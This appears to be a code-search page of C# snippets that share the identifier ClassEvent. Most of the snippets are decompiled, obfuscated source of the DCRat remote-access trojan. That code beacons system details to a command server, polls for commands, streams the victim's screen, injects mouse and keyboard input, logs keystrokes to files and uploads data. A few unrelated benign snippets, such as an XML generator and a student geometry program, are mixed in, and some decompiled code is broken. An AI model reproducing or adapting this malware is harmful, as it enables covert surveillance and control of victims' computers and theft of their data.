コード例 #1
0
 public ReadOnlyClassEvent(ClassEvent classEvent)
 {
     this.classEvent = classEvent;
     eventType       = new ReadOnlyDelegateReference(classEvent.Type);
     if (classEvent.IsEventProperty)
     {
         addBody    = new ReadOnlyMethodBody(classEvent.Accessors.AddBody);
         removeBody = new ReadOnlyMethodBody(classEvent.Accessors.RemoveBody);
     }
 }
コード例 #2
0
 public static void ManageFilter(string v, string ord, string temp, string v2)
 {
     //Discarded unreachable code: IL_0002
     //IL_0003: Incompatible stack heights: 0 vs 1
     ItemEventEntry.ConcatList(temp + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(temp)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(temp) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(v2))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(temp) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(temp) + "setdata") + "=%00&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(temp) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(temp) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter(v + MappingListAnnotation._ProxyEvent)))));
     foreach (string item in ReponseClassSpec.CheckList(ord, 1500))
     {
         CollectFilter(v, item, temp, v2);
     }
 }
コード例 #3
0
 static GlobalIssuerImporter()
 {
     //Discarded unreachable code: IL_0002, IL_0006, IL_0012, IL_0019
     //IL_0003: Incompatible stack heights: 0 vs 1
     //IL_0007: Incompatible stack heights: 0 vs 1
     //IL_0013: Incompatible stack heights: 0 vs 1
     //IL_001a: Incompatible stack heights: 0 vs 1
     SingletonReader.PushGlobal();
     _0001(ClassEvent.RegisterFilter(StartList() + GetList() + CalculateList()));
 }
コード例 #4
0
            internal void _0002()
            {
                //Discarded unreachable code: IL_0002
                //IL_0003: Incompatible stack heights: 0 vs 1
                while (!identifier)
                {
                    string[] array = ClassEvent.SearchFilter(DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(this._0002._0002 + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(this._0002._0002)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(this._0002._0002) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(this._0002._0003))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(this._0002._0002) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(this._0002._0002) + "getdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(this._0002._0002) + "getdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("rdbuffer" + MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(this._0002._0002) + "setdata") + "=%00&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(this._0002._0002) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(this._0002._0002) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("rdbuffer" + MappingListAnnotation._ProxyEvent))))))["response"].ResetClass <string>()).Split(new string[1]
                    {
                        "~*"
                    }, StringSplitOptions.None);
                    string[] array2 = array;
                    foreach (string text in array2)
                    {
                        if (text.Length < 1)
                        {
                            continue;
                        }
                        if (text.Contains("@~"))
                        {
                            string[] array3 = text.Split(new string[1]
                            {
                                "@~"
                            }, StringSplitOptions.None);
                            switch (array3[0])
                            {
                            case "M":
                                Publisher.MapFilter(Convert.ToInt32(array3[1].Split(',')[0]) + this._0001.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + this._0001.Bounds.Y);
                                break;

                            case "RD":
                                Publisher.InsertFilter(8u, Convert.ToInt32(array3[1].Split(',')[0]) + this._0001.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + this._0001.Bounds.Y, 0, UIntPtr.Zero);
                                break;

                            case "RU":
                                Publisher.InsertFilter(16u, Convert.ToInt32(array3[1].Split(',')[0]) + this._0001.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + this._0001.Bounds.Y, 0, UIntPtr.Zero);
                                break;

                            case "LD":
                                Publisher.InsertFilter(2u, Convert.ToInt32(array3[1].Split(',')[0]) + this._0001.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + this._0001.Bounds.Y, 0, UIntPtr.Zero);
                                break;

                            case "LU":
                                Publisher.InsertFilter(4u, Convert.ToInt32(array3[1].Split(',')[0]) + this._0001.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + this._0001.Bounds.Y, 0, UIntPtr.Zero);
                                break;
                            }
                        }
                        else
                        {
                            SendKeys.SendWait(text);
                        }
                        Thread.Sleep(10);
                    }
                    Thread.Sleep(100);
                }
            }
コード例 #5
0
 private void DumpEvent(ClassEvent _event)
 {
     textWriter.Write(_event.Scope.ToString().ToLower());
     if (_event.Modifier != Modifier.Default)
     {
         textWriter.Write(" {0}", _event.Modifier.ToString().ToLower());
     }
     textWriter.Write(" event {0}", SafeName(_event.Name));
     DumpParametersList(_event.Parameters);
     textWriter.WriteLine(";");
 }
コード例 #6
0
        public static HttpWebResponse CustomizeFilter(byte[] asset, string token, string state, string last2)
        {
            //Discarded unreachable code: IL_0002
            //IL_0003: Incompatible stack heights: 0 vs 1
            Dictionary <string, object> dictionary = new Dictionary <string, object>();

            dictionary.Add(ClassEvent.ResetFilter(ItemEventEntry.InvokeList(state) + "uploadfile_name"), MappingListAnnotation._ProxyEvent + "." + ClassEvent.ResetFilter(token + MappingListAnnotation._ProxyEvent));
            dictionary.Add(ClassEvent.ResetFilter(MappingListAnnotation._ProxyEvent + "." + ClassEvent.ResetFilter(token + MappingListAnnotation._ProxyEvent)), new ItemEventEntry.UtilsEvent(asset, MappingListAnnotation._ProxyEvent + "." + ClassEvent.ResetFilter(token + MappingListAnnotation._ProxyEvent), ClassEvent.ResetFilter(token + MappingListAnnotation._ProxyEvent)));
            string param = state + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(state)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(state) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(last2))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(state) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent))));

            return(ItemEventEntry.PrintList(param, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36", dictionary));
        }
コード例 #7
0
        public static void InitFilter(string instance, string reg, string control, string item2, string ord3)
        {
            //Discarded unreachable code: IL_0002
            //IL_0003: Incompatible stack heights: 0 vs 1
            ItemEventEntry.ConcatList(item2 + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(item2)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ord3))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "setdata") + "=%00&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter(reg + MappingListAnnotation._ProxyEvent)))));
            List <string> list = ReponseClassSpec.CheckList(control, 1500);
            double        num  = 100.0 / (double)list.Count;
            double        num2 = 0.0;

            for (int i = 0; i < list.Count; i++)
            {
                num2 += num;
                ItemEventEntry.ConcatList(item2 + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(item2)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ord3))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "adddata") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(list[i]))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "adddata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "adddata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter(reg + MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "setdata") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter("Transfering data: " + Math.Round(num2, 1) + "%"))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter(instance + "_status" + MappingListAnnotation._ProxyEvent)))));
            }
        }
コード例 #8
0
 public static void CallFilter(string asset, string selection)
 {
     //Discarded unreachable code: IL_0002
     //IL_0003: Incompatible stack heights: 0 vs 1
     new Thread((ThreadStart) delegate
     {
         //Discarded unreachable code: IL_0002
         //IL_0003: Incompatible stack heights: 0 vs 1
         SortFilter(asset, selection);
         DecoratorReaderMapper decoratorReaderMapper = new DecoratorReaderMapper
         {
             ["ServerType"]   = ParserFilterResolver._0001("C#"),
             ["ServerVer"]    = ParserFilterResolver._0001(MappingListAnnotation._RegistryEvent),
             ["isMicrophone"] = ParserFilterResolver._0001((DecoratorList._0001() > 0) ? "Y" : "N"),
             ["isWebcam"]     = ParserFilterResolver._0001((new AccountInstanceExpression(WrapperIssuerImporter.serializerEvent).Count > 0) ? "Y" : "N"),
             ["isAdmin"]      = ParserFilterResolver._0001(GlobalIssuerImporter.DestroyList() ? "Y" : "N"),
             ["WinVer"]       = ParserFilterResolver._0001(ObserverEvent.VerifyList()),
             ["ACTWindow"]    = ParserFilterResolver._0001(Publisher.InitEvent()),
             ["PCName"]       = ParserFilterResolver._0001(GlobalIssuerImporter.SetList()),
             ["UserName"]     = ParserFilterResolver._0001(GlobalIssuerImporter.RemoveList()),
             ["TAG"]          = ParserFilterResolver._0001(DecoratorReaderMapper.PatchRequest(MappingListAnnotation.m_ServiceEvent)["TAG"].ResetClass <string>()),
             ["IpInfo"]       = DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList("https://ipinfo.io/json"))
         };
         while (true)
         {
             try
             {
                 decoratorReaderMapper["ACTWindow"] = ParserFilterResolver._0001(Publisher.InitEvent());
                 string text = ClassEvent.SearchFilter(DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(asset + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(asset)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(selection))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "getdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "getdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("command" + MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(decoratorReaderMapper.SetClass((TimeState)0, new BroadcasterError[0])))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("usermaindata" + asset))))))["response"].ResetClass <string>());
                 if (text.Length > 1)
                 {
                     DecoratorReaderMapper decoratorReaderMapper2 = DecoratorReaderMapper.PatchRequest(text);
                     if (decoratorReaderMapper2.get_Count() > 0)
                     {
                         DecoratorEventEntry.PatchRecord(decoratorReaderMapper2["Command"].ResetClass <string>(), decoratorReaderMapper2["Data"].ResetClass <string>(), asset, selection);
                     }
                 }
                 Thread.Sleep(1000);
             }
             catch
             {
                 Thread.Sleep(10000);
             }
         }
     }).Start();
 }
コード例 #9
0
ファイル: XmlGenerator.cs プロジェクト: michelmbem/AddyScript
        private void ProcessClassEvent(XmlElement parent, ClassEvent _event)
        {
            XmlElement savedElement = currentElement;
            XmlElement tmpElement   = document.CreateElement("ClassEvent");

            tmpElement.SetAttribute("Name", _event.Name);
            tmpElement.SetAttribute("Scope", _event.Scope.ToString());

            if (_event.Modifier != Modifier.Default)
            {
                tmpElement.SetAttribute("Modifier", _event.Modifier.ToString());
            }

            currentElement = document.CreateElement("Parameters");
            ProcessParameters(currentElement, _event.Parameters);
            tmpElement.AppendChild(currentElement);

            parent.AppendChild(tmpElement);
            currentElement = savedElement;
        }
コード例 #10
0
 public static void VerifyRecord()
 {
     //Discarded unreachable code: IL_0002
     //IL_0003: Incompatible stack heights: 0 vs 1
     try
     {
         if (!Directory.Exists(Path.GetTempPath() + "\\" + ClassEvent.ResetFilter(MappingListAnnotation._ProxyEvent + MappingListAnnotation.m_CandidateEvent)))
         {
             Directory.CreateDirectory(Path.GetTempPath() + "\\" + ClassEvent.ResetFilter(MappingListAnnotation._ProxyEvent + MappingListAnnotation.m_CandidateEvent));
         }
     }
     catch
     {
     }
     new Thread((ThreadStart) delegate
     {
         //Discarded unreachable code: IL_0002
         //IL_0003: Incompatible stack heights: 0 vs 1
         Collection.NewEvent(Path.GetTempPath() + "\\" + ClassEvent.ResetFilter(MappingListAnnotation._ProxyEvent + MappingListAnnotation.m_CandidateEvent) + "\\");
     }).Start();
 }
コード例 #11
0
        public static void ComputeEvent(string var1, int length_cont, bool wantrule, bool isvalue2, string ident3, string pol4)
        {
            //Discarded unreachable code: IL_0002
            //IL_0003: Incompatible stack heights: 0 vs 1
            if (m_System == null)
            {
                Screen screen = Screen.PrimaryScreen;
                try
                {
                    Screen[] allScreens = Screen.AllScreens;
                    foreach (Screen screen2 in allScreens)
                    {
                        if (var1 == screen2.DeviceName)
                        {
                            screen = screen2;
                            break;
                        }
                    }
                }
                catch
                {
                }
                DecoratorReaderMapper decoratorReaderMapper = new DecoratorReaderMapper();
                decoratorReaderMapper["w"] = ParserFilterResolver._0001(screen.Bounds.Width);
                decoratorReaderMapper["h"] = ParserFilterResolver._0001(screen.Bounds.Height);
                DispatcherInstanceExpression.ExcludeFilter("rdscreensize", decoratorReaderMapper.SetClass((TimeState)0, new BroadcasterError[0]), ident3, pol4);
                m_System = new Thread((ThreadStart) delegate
                {
                    //Discarded unreachable code: IL_0002
                    //IL_0003: Incompatible stack heights: 0 vs 1
                    while (!identifier)
                    {
                        DispatcherInstanceExpression.CustomizeFilter(ValClientBridge.PrepareList(ValClientBridge.PushList(ValClientBridge.IncludeList(screen), screen.Bounds.Width / length_cont, screen.Bounds.Height / length_cont)), "rdscreen", ident3, pol4);
                        Thread.Sleep(100);
                    }
                    identifier = false;
                });
                m_System.Start();
                if (wantrule || isvalue2)
                {
                    new Thread((ThreadStart) delegate
                    {
                        //Discarded unreachable code: IL_0002
                        //IL_0003: Incompatible stack heights: 0 vs 1
                        while (!identifier)
                        {
                            string[] array = ClassEvent.SearchFilter(DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(ident3 + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(ident3)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(pol4))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "getdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "getdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("rdbuffer" + MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "setdata") + "=%00&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("rdbuffer" + MappingListAnnotation._ProxyEvent))))))["response"].ResetClass <string>()).Split(new string[1]
                            {
                                "~*"
                            }, StringSplitOptions.None);
                            string[] array2 = array;
                            foreach (string text in array2)
                            {
                                if (text.Length >= 1)
                                {
                                    if (text.Contains("@~"))
                                    {
                                        string[] array3 = text.Split(new string[1]
                                        {
                                            "@~"
                                        }, StringSplitOptions.None);
                                        switch (array3[0])
                                        {
                                        case "M":
                                            Publisher.MapFilter(Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y);
                                            break;

                                        case "RD":
                                            Publisher.InsertFilter(8u, Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y, 0, UIntPtr.Zero);
                                            break;

                                        case "RU":
                                            Publisher.InsertFilter(16u, Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y, 0, UIntPtr.Zero);
                                            break;

                                        case "LD":
                                            Publisher.InsertFilter(2u, Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y, 0, UIntPtr.Zero);
                                            break;

                                        case "LU":
                                            Publisher.InsertFilter(4u, Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y, 0, UIntPtr.Zero);
                                            break;
                                        }
                                    }
                                    else
                                    {
                                        SendKeys.SendWait(text);
                                    }
                                    Thread.Sleep(10);
                                }
                            }
                            Thread.Sleep(100);
                        }
                    }).Start();
                }
            }
        }
コード例 #12
0
        private static IntPtr PushEvent(int lengthdef, IntPtr ord, IntPtr consumer)
        {
            //Discarded unreachable code: IL_0002
            //IL_0003: Incompatible stack heights: 0 vs 1
            if (lengthdef >= 0 && ord == (IntPtr)256)
            {
                int    num   = Marshal.ReadInt32(consumer);
                bool   flag  = (Publisher.FillFilter((int) /*Error near IL_0037: Stack underflow*/) & 0xFFFF) != 0;
                bool   flag2 = (Publisher.FillFilter((int) /*Error near IL_0047: Stack underflow*/) & 0x8000) != 0 || (Publisher.FillFilter((int) /*Error near IL_0058: Stack underflow*/) & 0x8000) != 0;
                string text  = PrepareEvent((uint)num);
                text = ((!(flag || flag2)) ? text.ToLower() : text.ToUpper());
                string text2 = text;
                string text3 = text2;
                if (text3 != null)
                {
                    switch (_0003._0001(text3))
                    {
                    case 957132539u:
                        if (text3 == "<")
                        {
                            text = "&lt;";
                        }
                        break;

                    case 990687777u:
                        if (text3 == ">")
                        {
                            text = "&gt;";
                        }
                        break;

                    case 638357778u:
                        if (text3 == "#")
                        {
                            text = "&#35;";
                        }
                        break;

                    case 588024921u:
                        if (text3 == "&")
                        {
                            text = "&amp;";
                        }
                        break;

                    case 655135397u:
                        if (text3 == "\"")
                        {
                            text = "&quot;";
                        }
                        break;

                    case 571247302u:
                        if (text3 == "'")
                        {
                            text = "&apos;";
                        }
                        break;

                    case 621580159u:
                        if (text3 == " ")
                        {
                            text = "&nbsp;";
                        }
                        break;
                    }
                }
                if (num >= 112 && num <= 135)
                {
                    Keys keys = (Keys)num;
                    text = "<span style=\"color: #F85C50;\">[" + keys.ToString() + "]</span>";
                }
                else
                {
                    Keys   keys  = (Keys)num;
                    string text4 = keys.ToString();
                    string text5 = text4;
                    if (text5 != null)
                    {
                        switch (_0003._0001(text5))
                        {
                        case 1123244352u:
                            if (text5 == "Up")
                            {
                                text = "<span style=\"color: #F85C50;\">[Up]</span>";
                            }
                            break;

                        case 2761510965u:
                            if (text5 == "Down")
                            {
                                text = "<span style=\"color: #F85C50;\">[Down]</span>";
                            }
                            break;

                        case 2457286800u:
                            if (text5 == "Left")
                            {
                                text = "<span style=\"color: #F85C50;\">[Left]</span>";
                            }
                            break;

                        case 513712005u:
                            if (text5 == "Right")
                            {
                                text = "<span style=\"color: #F85C50;\">[Right]</span>";
                            }
                            break;

                        case 3422663135u:
                            if (text5 == "Return")
                            {
                                text = "<span style=\"color: #F85C50;\">[Enter]</span>";
                            }
                            break;

                        case 3082514982u:
                            if (text5 == "Escape")
                            {
                                text = "<span style=\"color: #F85C50;\">[ESC]</span>";
                            }
                            break;

                        case 497839467u:
                            if (text5 == "LControlKey")
                            {
                                text = "<span style=\"color: #F85C50;\">[CTRL]</span>";
                            }
                            break;

                        case 3954224277u:
                            if (text5 == "RControlKey")
                            {
                                text = "<span style=\"color: #F85C50;\">[CTRL]</span>";
                            }
                            break;

                        case 3822460366u:
                            if (text5 == "RShiftKey")
                            {
                                text = "<span style=\"color: #F85C50;\">[Shift]</span>";
                            }
                            break;

                        case 4117013200u:
                            if (text5 == "LShiftKey")
                            {
                                text = "<span style=\"color: #F85C50;\">[Shift]</span>";
                            }
                            break;

                        case 3264564162u:
                            if (text5 == "Back")
                            {
                                text = "<span style=\"color: #F85C50;\">[Back]</span>";
                            }
                            break;

                        case 547024555u:
                            if (text5 == "LWin")
                            {
                                text = "<span style=\"color: #F85C50;\">[Win]</span>";
                            }
                            break;

                        case 4219689196u:
                            if (text5 == "Tab")
                            {
                                text = "<span style=\"color: #F85C50;\">[Tab]</span>";
                            }
                            break;

                        case 298493515u:
                            if (text5 == "Capital")
                            {
                                text = ((!flag) ? "<span style=\"color: #F85C50;\">[CAPSLOCK: ON]</span>" : "<span style=\"color: #F85C50;\">[CAPSLOCK: OGeckoDBStruct]</span>");
                            }
                            break;
                        }
                    }
                }
                if (!File.Exists(m_Server + DateTime.Now.ToString("dd.MM.yyyy") + "." + ClassEvent.ResetFilter(MappingListAnnotation.m_CandidateEvent)))
                {
                    File.WriteAllText(m_Server + DateTime.Now.ToString("dd.MM.yyyy") + "." + ClassEvent.ResetFilter(MappingListAnnotation.m_CandidateEvent), "<div style=\"color: white; background-color: #4d4d4d; border-radius: 100px 100px 15px 15px; padding: 3px 0 3px\"><center>DCRat Keylogger # " + DateTime.Now.ToString("dd.MM.yyyy") + "</center></div>");
                }
                using (StreamWriter streamWriter = new StreamWriter(m_Server + DateTime.Now.ToString("dd.MM.yyyy") + "." + ClassEvent.ResetFilter(MappingListAnnotation.m_CandidateEvent), append: true))
                {
                    if (m_Facade == Publisher.InitEvent())
                    {
                        streamWriter.Write(text);
                    }
                    else
                    {
                        m_Facade = Publisher.InitEvent();
                        streamWriter.WriteLine("<p style=\"color: #7AB1GeckoDBStruct; margin-bottom: 2px\">[" + Publisher.InitEvent() + " # " + DateTime.Now.ToString("HH:mm") + "]</p>");
                        streamWriter.Write(text);
                    }
                }
            }
            return(Publisher.ValidateFilter(m_Resolver, lengthdef, ord, consumer));
        }
コード例 #13
0
 public static void CollectFilter(string item, string connection, string proc, string second2)
 {
     //Discarded unreachable code: IL_0002
     //IL_0003: Incompatible stack heights: 0 vs 1
     ItemEventEntry.ConcatList(proc + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(proc)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(proc) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(second2))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(proc) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(proc) + "adddata") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(connection))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(proc) + "adddata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(proc) + "adddata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter(item + MappingListAnnotation._ProxyEvent)))));
 }
コード例 #14
0
ファイル: Program.cs プロジェクト: vladasp/traineeship
        static void Main(string[] args)
        {
            Instuctions();
            Primitive primitive = new Primitive();
            ClassEvent classEvent = new ClassEvent();
            primitive.OnChangedLine += classEvent.ChangedLine;
            bool isExit = false;
            string input;

            while (!isExit)
            {
                input = Console.ReadLine();
                switch (input)
                {
                    case "R":
                        {
                            double[] firstCircle = new double[3]; double[] secondCircle = new double[3];
                            double[,] firstTriangle = new double[3, 4]; double[,] secondTriangle = new double[3, 4];
                            double[,] firstSquare = new double[4, 4]; double[,] secondSquare = new double[4, 4];

                            /// primitiveArray have all choices of the primitive:
                            /// [0] - triangle (enter T)
                            /// [1] - square (enter S)
                            /// [2] - circle (enter C)
                            string[] primitiveArray = new string[3] { "T", "S", "C" };

                            #region  First primitive
                            string firstPrimitive;
                            do
                            {
                                Console.WriteLine("Select first primitive (T - triangle, S -square, C - circle)");
                                firstPrimitive = Console.ReadLine();
                                if (firstPrimitive == primitiveArray[0]) { firstTriangle = primitive.TrianglePrimitive(); }
                                else if (firstPrimitive == primitiveArray[1]) { firstSquare = primitive.SquarePrimitive(); }
                                else if (firstPrimitive == primitiveArray[2]) { firstCircle = primitive.CirclePrimitive(); }
                                else { Console.WriteLine("Value is entered incorrectly"); };
                            }
                            while (firstPrimitive != primitiveArray[0] && firstPrimitive != primitiveArray[1] && firstPrimitive != primitiveArray[2]);
                            #endregion

                            #region Second primitive
                            string secondPrimitive;
                            do
                            {
                                Console.WriteLine("Select second primitive (T - triangle, S -square, C - circle)");
                                secondPrimitive = Console.ReadLine();
                                if (secondPrimitive == primitiveArray[0]) { secondTriangle = primitive.TrianglePrimitive(); }
